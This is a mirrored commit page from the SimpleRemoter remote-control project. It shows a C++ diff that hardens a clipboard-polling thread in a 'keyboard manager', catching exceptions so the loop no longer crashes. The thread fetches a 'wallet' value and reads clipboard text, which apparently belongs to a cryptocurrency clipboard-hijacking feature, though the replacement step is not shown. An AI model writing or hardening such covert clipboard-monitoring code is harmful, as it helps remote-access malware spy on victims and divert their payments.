mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-22 15:23:10 +08:00
fix: "std::runtime_error" causing crashes in some cases
This commit is contained in:
@@ -485,7 +485,19 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
|||||||
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
|
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
|
||||||
while (pThis->m_bIsWorking) {
|
while (pThis->m_bIsWorking) {
|
||||||
auto w = pThis->GetWallet();
|
auto w = pThis->GetWallet();
|
||||||
if (!w.empty() && clip::has(clip::text_format())) {
|
if (w.empty()){
|
||||||
|
Sleep(1000);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
bool hasClipboard = false;
|
||||||
|
try {
|
||||||
|
hasClipboard = clip::has(clip::text_format());
|
||||||
|
}
|
||||||
|
catch (...) { // fix: "std::runtime_error" causing crashes in some cases
|
||||||
|
hasClipboard = false;
|
||||||
|
Sleep(3000);
|
||||||
|
}
|
||||||
|
if (hasClipboard) {
|
||||||
std::string value;
|
std::string value;
|
||||||
clip::get_text(value);
|
clip::get_text(value);
|
||||||
if (value.length() > 200) {
|
if (value.length() > 200) {
|
||||||
|
|||||||
Reference in New Issue
Block a user